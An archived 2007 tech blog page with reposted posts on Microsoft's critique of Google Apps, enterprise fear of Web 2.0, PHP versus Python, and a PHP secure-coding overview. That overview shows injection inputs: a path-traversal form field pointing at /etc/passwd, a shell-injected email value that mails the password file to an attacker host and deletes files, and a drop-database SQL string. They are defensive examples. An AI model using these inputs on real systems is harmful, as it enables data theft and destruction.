Monday, September 17, 2007

Microsoft Vs Google

Written by Richard MacManus / September 10, 2007 / 40 comments

Up till now, Microsoft has been very quiet about the nascent Web Office threat from Google. But today, in response to the news that IT systems consultancy CapGemini has partnered with Google to sell Google Apps Premier Edition (GAPE) to enterprises, Microsoft issued an email listing 10 “top questions that enterprises should ask when considering the switch to GAPE.” The questions read more like reasons why enterprises shouldn’t choose Google Apps. This list was first published by Mary Jo Foley, who says it was an unsolicited email from a Microsoft “corporate spokesperson”.

The 10 reasons make for fascinating reading – and show just how concerned Microsoft really is about not only Google Apps, but Web Office in general. Here is a copy of the email list:

“1. Google touts having enterprise level customers but how many “USERS” of their applications truly exist within the enterprise?

“2. Google has a history of releasing incomplete products, calling them beta software, and issuing updates on a “known only to Google” schedule – this flies in the face of what enterprises want and need in their technology partners – what is Google doing that indicates they are in lock step with customer needs?

“3. Google touts the low cost of their apps –not only price but the absence of need for hardware, storage or maintenance for Google Apps. BUT if GAPE is indeed a complement to MSFT Office, the costs actually become greater for a company as they now have two IT systems to run and manage and maintain. Doesn’t this result in increased complexity and increased costs?

“4. Google’s primary focus is on ad funded search. Their enterprise focus and now apps exist on the very fringe and in combination with other fringe services only account for 1% of the company’s revenue. What happens if Google executes poorly? Do they shut down given it will them in a minimal and short term way? Should customers trust that this won’t happen?

“5. Google’s apps only work if an enterprise has no power users, employees are always online, enterprises haven’t built custom Office apps – doesn’t this equal a very small % of global information workers today? –On a feature comparison basis, it’s not surprising that Microsoft has a huge lead.

“6. Google apps don’t have essential document creation features like support for headers, footers, tables of content, footnotes, etc. Additionally, while customers can collaborate on basic docs without the above noted features, to collaborate on detailed docs, a company must implement a two part process – work together on the basic doc, save it to Word or Excel and then send via email for final edits. Yes they have a $50 price tag, but with the inefficiencies created by just this one cycle, how much do GAPE really cost – and can you afford the fidelity loss?

“7. Enterprise companies have to constantly think about government regulations and standards – while Google can store a lot of data for enterprises on Google servers, there is no easy to use, automated way for enterprises to regularly delete data, issue a legal hold for specific docs or bring copies into the corp. What happens if a company needs to respond to government regulations bodies? Google touts 99.9% uptime for their apps but what few people realize that promise is for Gmail only. Equally alarming is the definition Google has for “downtime” – ten consecutive minutes of downtime. What happens if throughout the day Google is down 7 minutes each hour? What does 7 minutes each hour for a full work day that cost an enterprise?

“8. In the world of business, it is always on and always connected. As such, having access to technical support 24/7 is essential. If a company deploys Google Apps and there is a technical issue at 8pm PST, Sorry. Google’s tech support is open M-F 1AM-6PM PST – are these the new hours of global business? And if a customer’s “designated administrator” is not available (a requirement) does business just stop?

“9. Google says that enterprise customers use only 10% of the features in today’s productivity applications which implies that EVERYONE needs the SAME 10% of the feature when in fact it is very clear that in each company there are specific roles people play that demands access to specific information – how does Google’s generic strategy address role specific needs?

“10. With Google apps in perpetual beta and Google controlling when and if they rollout specific features and functionality, customers have minimal if any control over the timing of product rollouts and features – how do 1) I know how to strategically plan and train and 2) get the features and functionality I have specifically requested? How much money does not knowing cost?

“I invite you to speak with customers, partners and analysts who can validate Office’s business model.”

There’s no doubt these are compelling reasons why an enterprise should choose Microsoft Office over Google Apps, at this point. But it’s noticeable that the list doesn’t mention the word “collaboration”, which is probably the key benefit of Google Apps compared to MS Office.

Nor does Microsoft adequately rebut that Google Apps will be a complement to Microsoft Office (as CapsGemini and Google claimed yesterday). Microsoft says in point 3 that “the costs actually become greater for a company as they now have two IT systems to run and manage and maintain.” But that doesn’t address the features that Google Apps offers and how it might complement an enterprise’s office software set-up.

What do you make of Microsoft’s response? It certainly brings up some valid criticisms of Google Apps and Web Office, but then Google isn’t claiming their product is a replacement of MS Office. Their stance is that it’s a complement – and so in that respect this list by a Microsoft spokesperson is probably an over-reaction. It looks like someone in Redmond hit the panic button a bit too early.

Posted by Amit in 10:49:07 | Permalink | Comments Off

Fear of Web 2.0

Written by Richard MacManus / September 17, 2007 / 0 comments

Enterprises continue to adopt web technologies and ‘web 2.0′ trends, but there are two common threads to this adoption. One is that web technologies are step-by-step being adopted by enterprises, but they aren’t yet ready to usurp many desktop software apps. The Google Apps vs Microsoft Office debate currently raging is proof of that. The second thread is that enterprises have a fear of web 2.0 tools being mis-used by their employees. I was recently in a TV news segment in my home country, answering the question: should Facebook be banned in the workplace? (for the record, my answer was no!).

Forrester Research has just released two reports that address this ‘fear of Web 2.0′ (my term, not theirs). The first report is entitled ‘Web 2.0 Social Computing Dresses Up For Business‘. The executive summary first neatly defines the value of Web 2.0 in the enterprise:

“It’s the ability to more efficiently generate, self-publish, and find information, plus share expertise in a way that’s so much easier and cheaper than earlier knowledge management attempts.”

However the report goes on to caution that web 2.0 risks (and opportunities) must be assessed in regards to reliability, security, governance, compliance, and privacy – all common concerns in the enterprise. Forrester gets to the nub of the issue a little later in the paper:

“Web 2.0 tools have almost certainly already entered your organization under the radar through unsanctioned employee usage. This raises the stakes and criticality of taking action sooner rather than later.”

The terms “unsanctioned”, “raises the stakes”, and “criticality” all point to a fear that enterprises will be somehow undermined, threatened or taken advantage of by the humble employee. Or perhaps it’s just the garden variety ‘fear of the unknown’.

Embrace Web 2.0 – But On Our Terms

The solution, says Forrester, is to embrace web 2.0 – but “on your terms”. They recommend that companies create “Web 2.0 policies and usage guidelines”. Also companies should bring secure and compliant Web 2.0 tools in-house. This is all sound advice, as long as it’s not taken to extremes – e.g. banning web apps (unless there is a true security or compliance risk – but Facebook for example wouldn’t qualify there), preventing employees from experimenting with new forms of web technologies, or dismissing web 2.0 as having no business value.

Thankfully, it looks like businesses are seeing value in web 2.0 tools and technologies, judging by the following Forrester graph:

Adopting Web 2.0

The second Forrester report sent to Read/WriteWeb was entitled ‘Passionate Employees: The Gateway To Enterprise Web 2.0 Sales‘. It addresses how to get corporate employees to adopt and use Web 2.0 tools – such as blogs, podcasts, wikis, RSS, and social networking – in their daily work lives. While there are always early adopters in any company who will willingly use new Web tools and technologies (I used to be one of them!), there are many more who don’t. Forrester puts the current figure of people using Web 2.0 tools in the enterprise at 15% – and usage is higher at smaller companies.

There could be a lot of reasons why employees don’t use web 2.0 tools. What I found surprising in Forrester’s report was that IT decision-makers appear to be quite happy that only 15% of employees in their company use web 2.0 tools. Consider this passage from the report:

Seventy-eight percent of the IT decision-makers we spoke with said that their departments were concerned with employees bringing Web 2.0 tools into the enterprise on their own (see Figure 1-2). And why not? Unsanctioned employee use opens up a Pandora’s box of computer security risks, intellectual property risks, eDiscovery noncompliance, and even potential breach of contract in cases where customer data leaked outside the firewall. With readily available consumer services — think Google Docs and Spreadsheets and LiveJournal — and low entry cost SaaS (software-as-aservice) solutions — think Socialtext wikis and Teqlo mashups — there is a lot for IT to fear.”
(emphasis mine)

Conclusion

It’s clear that enterprises, or to be more exact IT decision-makers, still fear web 2.0. Yet they also see the value in it. So their natural inclination is to control the situation – only allow sanctioned web software in and enforce policies that limit use of web 2.0 technologies. That way, IT decision-makers reason, the company still gets the benefits of web 2.0 – but without the risks.

Yet web 2.0 is all about open-ness and collaboration. The latter is particularly important in enterprises. The real reason why IT fears web 2.0, as John Martellaro pointed out recently, is that it upsets the historical need for control and power in IT departments. The above graphs and data points from Forrester show that the reason web 2.0 is finding it difficult to penetrate the enterprise is not that IT can’t see the value in it, but that they fear it may erode their control and power.

The answer may in part be ensuring that web 2.0 tools are secure and compliant, but equally it’s going to take a change in mindset from IT to allow employees to collaborate and experiment. What do you think of the current state of web 2.0 in the enterprise? Have you seen signs that IT is opening up, losing its fear a little?

Posted by Amit in 10:30:06 | Permalink | Comments Off

Friday, September 14, 2007

Security of PHP

PHP has achieved a stable and solid presence on the Web in the last several years, and its popularity as a server-side scripting language is only increasing. Its primary use is for providing dynamically generated interfaces between Web users and the host. As such, PHP scripts fall a natural prey to many Internet attacks. Despite the fact that the language is designed with security in mind, a familiarity with its more dangerous aspects and conformance to common secure programming guidelines is essential to minimizing the possibility of security compromises. The aim of this document is to provide an overview of various security issues with PHP and to offer advice on secure PHP programming practices.

Introduction

PHP (PHP Hypertext Preprocessor) is a server-side scripting language that facilitates the creation of dynamic Web pages by embedding PHP-coded logic in HTML documents. It combines many of the finest features of Perl, C, and Java, and adds its own elements to the concoction to give Web programmers great flexibility and power in designing and implementing dynamic, content-oriented Web pages. As with any powerful tool however, there are certain risks and dangers associated with the use of PHP. This article aims to alert the reader of such subtle details of the language. By being aware of the risks and observing some simple secure programming rules, it is possible to significantly lower the risk of security compromises.

Regardless of its mode of execution, the PHP interpreter has the potential to access virtually every part of the host — the file system, network interfaces, IPC, etc.

In the following sections, we will identify a number of causes that commonly lead to violations of the security of PHP scripts and ultimately the systems on which these scripts are executing. We will then develop some guidelines for strengthening the security of PHP and for writing secure code. Web developers and system administrators should keep in mind, however, that these guidelines only identify some practices that can reduce the risk of security compromises. There isn’t a definite omnipotent solution to all security problems, and in fact, the very concept of a system that is in a fully secure state is rather ethereal. Instead, security should be viewed as an evolving process, requiring constant supervision. This article provides a basis for understanding the security issues related to PHP and gives a broad overview of the topic.

Sources of Security Breaches

PHP can be run as either a CGI application or as an integrated Web server module. Regardless of its mode of execution, the PHP interpreter has the potential to access virtually every part of the host — the file system, network interfaces, IPC, etc. Consequently, it has the potential to do (or be forced to do) a lot of damage. To prevent attacks from adversaries, the programmer needs to be aware of everything that can go wrong at any time during the program execution. This is a formidable task. Software gets very complicated very fast. Nevertheless, knowledge of the weaknesses of a system and the common modes of attack can go a long way toward increasing its security. This applies to PHP just as much as it applies to any other piece of software. Therefore, in this section we will examine various sources of potential security vulnerabilities in PHP scripts and will draw some generalized conclusions. We will use this information in a later section to develop a set of guidelines for secure PHP programming.

Trusting User Input

The most common and most severe security vulnerabilities in PHP scripts, and indeed in any Web application, are due to poorly validated user input. Many scripts use information that the user has provided in a Web form and process this information in various ways. If this user input is trusted blindly, the user has the potential to force unwanted behavior in the script and the hosting platform.

To make things worse, PHP registers all kinds of external variables in the global namespace. Environment variables for example are simply accessible by their name from anywhere within a script. So you can just peek at $HOSTNAME and $PATH for such pieces of information. Field tag names submitted from GET or POST forms are also accessible in the same manner. There are several problems with this. First, there is really no way to ensure that those external variables contain authentic data that can be trusted. (The next section discusses this in greater detail.) Second, due to the habit of PHP to make everything globally available, no variable can be trusted anymore, whether external or internal. Indeed, imagine the following scenario:

 $tempfile = "12345.tmp"; ... # do something with $tempfile here # and some form processing ... unlink ($tempfile);

Even if you handle $tempfile safely before unlinking it, the last statement is still very dangerous. An attacker can craft his or her own form containing a field similar to:

 <input type=hidden name="tempfile"     value="../../../etc/passwd">

PHP will insert the field name in the global namespace as $tempfile, thus overwriting the original value of the variable. Later, we will consider a way to protect against this kind of attack by configuring PHP not to make external variables globally available.

Trusting Environment Variables

When you type “ls” at the UNIX prompt, the shell goes through a list of directories looking for a program called “ls”. As soon as it finds it in some location, like /bin, for example, the shell executes the program and waits patiently for it to return. The list of directories in which the shell looks for the program is specified in an environment variable, usually $PATH. Similarly, when you include() or require() a file from a PHP script, the system will search for it in a specified list of directories; the environment variable $LD_LIBRARY_PATH specifies a path for dynamically loaded libraries, etc.

The script does not have control over the content of environment variables at the moment it starts executing. An adversary can modify the path to point to a Trojan version of the program that is being called or the file that is being included. This is an easy way for attackers to get hostile code running on the system.

Some sites restrict access to content based on the link from which the user arrived. They use the $HTTP_REFERER variable to determine this. But since the information comes from the browser, there is nothing to stop the user from assigning it an arbitrary value. Such forms of “authentication” are very unreliable.

The most direct illustration of damage inflicted by unvalidated user input is probably the execution of external programs with user-specified names or arguments.

Even if the information does not come from the user, environment variables still cannot be trusted. On most Unix systems, the environment variables are stored at the bottom of the system stack. Now, PHP does its own automatic dynamic memory management, so there isn’t really a risk of buffer overflows in PHP scripts. But an attacker can still exploit some other piece of software that is running on the server to gain access to the stack. Because of the way the stack is structured, they can now overwrite the values of environment variables. Consequently, the PHP script that blindly relies on those variables is no longer secure.

From a security perspective, environment variables and user input data really aren’t very different. They all represent data of unknown origin that may be hostile. Therefore, their use should be minimized whenever possible and their content examined and filtered the rest of the time. A good practice is to redefine all environment variables that will be used in the script before actually using them. This is not always possible, but does help offer a somewhat higher degree of confidence in their content.

Calling External Programs

The most direct illustration of damage inflicted by unvalidated user input is probably the execution of external programs with user-specified names or arguments.

Clearly, a call like system($userinput) is insecure because it allows the user to execute arbitrary commands on the host. Furthermore, a call like exec(``someprog'', $userargs) is also insecure because the user can supply characters that have special meaning to the shell. A semicolon in the arguments for instance will signify the end of the first command and the beginning of another. Since PHP always passes such strings through the shell, they are always dangerous. This includes calls to system(), exec(), popen(), backticks, etc.

The following is a real-world example of insecure popen() calls, coming from an actual freely distributed Web application:

 function Send($sendmail = "/usr/sbin/sendmail") {  if ($this->form == "") {   $fp = popen ($sendmail."-i".$this->to, "w");  }  else {   $fp = popen ($sendmail."-i -f".          $this->from." ".$this->to, "w");  } }

The variable $this->from comes directly from a form field, where whoever is sending the message types in their e-mail address. Since this input is not validated in any way, the user can trick the script into doing all sorts of bad things with input similar to this:

 dummy@dummy.com badguy@evil_host.com < /etc/passwd; rm *;

If they’re more creative, they can probably even craft a whole worm or a virus and inject it through this gate.

The solution is to carefully filter all user input before passing it through the shell. Later, we will consider some ways to do this in PHP.

Database Interactions

PHP makes interactions with many different databases very easy from within a script. Just like interacting with other programs through the shell, however, this can be a security problem. Too often PHP scripts use input from a Web form to construct SQL query strings.

 mysql_db_query ($DB, "SELECT something            FROM table     WHERE name=$username");

In this example, the user can use a semicolon in the input to end the current query and supply arbitrary commands to the database. The input “;drop db database” will expand to the query string “SELECT something FROM table WHERE name=;drop db database”, which will result in an error (because the first part of the query is now invalid) followed by a successful drop of the entire database.

The script privileges can be adjusted to limit the damage it can do on the database, but this does not fully remedy the problem, since the user can still do queries to extract sensitive information. If user input needs to be supplied to the database, the input must first be examined and filtered for dangerous metacharacters, as we will show later.

URL Includes and Opens

PHP generalizes the concept of a file to include that of a URL for some purposes. In PHP, you can do things like:

 include ("http://some.site.com/some_script.php");

It will know to fetch the file from the location and include it in your script. You can also open remote files for reading the same way. This can be potentially dangerous, since there is a possibility that the remote site is compromised or the network connection is spoofed. In either case, you are injecting unknown and possibly hostile code directly into your script with an include() like that. Depending on what you do with the file, an fopen() from a remote location can be just as dangerous. Of course constructs of the type include(``$userinput'') are yet another problem, similar to those discussed in previous sections.

If not absolutely necessary, this feature of PHP is best disabled. The allow_url_fopen configuration directive in php.ini controls this behavior.

Vulnerabilities in the Interpreter

PHP itself has had a number of security vulnerabilities at different stages of its development.

PHP3 and some versions of PHP4 have been found vulnerable to format string attacks in their logging functions, for instance. Those versions of PHP employ calls to the C functions syslog() and vsnprintf() in order to do their logging (when logging is enabled, that is). The problem is that PHP passes the log message directly as the format string to those functions, and it is very possible that the log message contains user input. An attacker can utilize this to remotely compromise PHP-enabled servers that still run this code, unless those servers have disabled the logging of PHP errors and warnings.

The way PHP handles user-uploaded files can also be problematic. The reason for this is that PHP will define a global variable that has the same name as the file input tag in the submitted Web form. PHP will then create this file in a temporary directory and store the upload there, but it will not check whether the filename is valid. An attacker can craft his or her own form specifying the name of some other file and submit it. PHP will then process that other file, which may contain sensitive information. Thus, the script should always check explicitly whether the upload filename variable contains a valid path to a temporary file. Newer versions of PHP (after 4.0.3RC1 and after 3.0.17RC1 for PHP3) provide a function is_uploaded_file($path) that makes it easy to check for this.

Hosts running PHP should follow security advisories related to the product and upgrade to the latest recommended version of PHP promptly after security fixes have been released.

In Part 2 next week, I’ll wrap up our look at PHP security with some advice on programming guidelines, filtering user input, and configuration settings.

Posted by Amit in 14:31:21 | Permalink | Comments Off

PHP and Python hit prime time

PHP is running as an Apache module on almost 10 million domain names, but where is Python? In this article Nicholas compares and contrasts the two, along with his opinion of each.It’s strange to say that PHP (Hypertext Preprocessor) has only recently reached the point where it’s ready for prime time, since PHP is already the most popular Apache module, running on almost 10 million domains (over a million IP addresses). Nevertheless, I’ve had some reservations about PHP until recently, especially with respect to potential security holes. Then I downloaded and installed the latest version of FUDforum, an open-source PHP-based Web discussion forum package I use for my nonprofit Web site, VarLinux.org. But what you should really examine is the PHP code behind FUDforum, which you can download from http://fud.prohost.org. At some point when I wasn’t looking, PHP matured to a point where one could easily avoid the security holes that plagued some old PHP programs. This is especially true if you take an object-oriented approach to building your PHP applications. Another good example of high-quality PHP programming is phpWebSite (http://phpwebsite.appstate.edu), a Web content management system with several good snap-in expansion modules, including one that lets you create e-mail accounts for CommuniGate Pro, an increasingly popular drop-in replacement for Microsoft Exchange. The CommuniGate Pro e-mail and groupware server (www.stalker.com) has a built-in Web interface for e-mail that you can integrate into the site you manage with phpWebSite. The only thing I haven’t yet seen done well in PHP is an open-source Web-based groupware application. Yahoo did a pretty good job designing its Web-based calendar (http://calendar.yahoo.com). It even allows you to synchronize your data with a Palm device. But most IT departments are going to want to host their own calendars and groupware, and if there’s anything that’s been done in PHP that is of comparable quality to what Yahoo came up with, I haven’t found it. There is at least one decent commercial offering, Internal Affairs (www.internalaffairs.de/en/), and several open-source projects are in the works, a promising one being PHProjekt (www.phprojekt.com). But none of the ones I’ve tried exploit the maximum potential of the PHP platform. Love That Python Of course, there’s more to life than PHP. One of my favorite programming languages is Python (www.python.org). It seems I don’t go a week these days without someone asking me what I know about Python, so it seems to be gaining quite a following in mainstream IT. Admittedly, Python is a love-it-or-hate-it language, but those who love it claim to be far more productive than with any other language. Being on the love-it end of the spectrum, I’d argue that it’s a well-founded claim. But Python hasn’t gotten much past the promising stage for Web applications development. Until recently, Webware has been the best choice for Python programmers (http://webware.sourceforge.net/). Webware is very nicely done, but its one weakness is that you need to run a Python-based application server in parallel to your Web server. In contrast, PHP integrates directly into the Apache Web server through a plug-in module. There’s nothing inherently wrong with the Webware approach, but it is difficult to tell how much overhead Webware will add to your applications. Webware simply hasn’t been around the block as many times as comparable Java-based application servers. Spyce is a newcomer to the Python Web applications approach, and it may not only push Webware off the map, it could also eventually give PHP a run for its money (http://spyce.sourceforge.net). Spyce lets you embed Python code into your HTML in basically the same way you would if you used Webware and Python Server Pages. But Spyce doesn’t need a separate application server to work. Spyce piggybacks off the Python or fast-CGI modules available for Apache. I haven’t done much more than a few minor exercises with Spyce, but so far I’m extremely impressed. The library of Web features for session management, cookies, forms, pooled variables and other Web applications goodies makes it surprisingly easy to toss together a prototype to see if it’s worth using for your next project. If you even have a passing interest in Python, I recommend that you give Spyce a look.

Posted by Amit in 08:02:44 | Permalink | Comments Off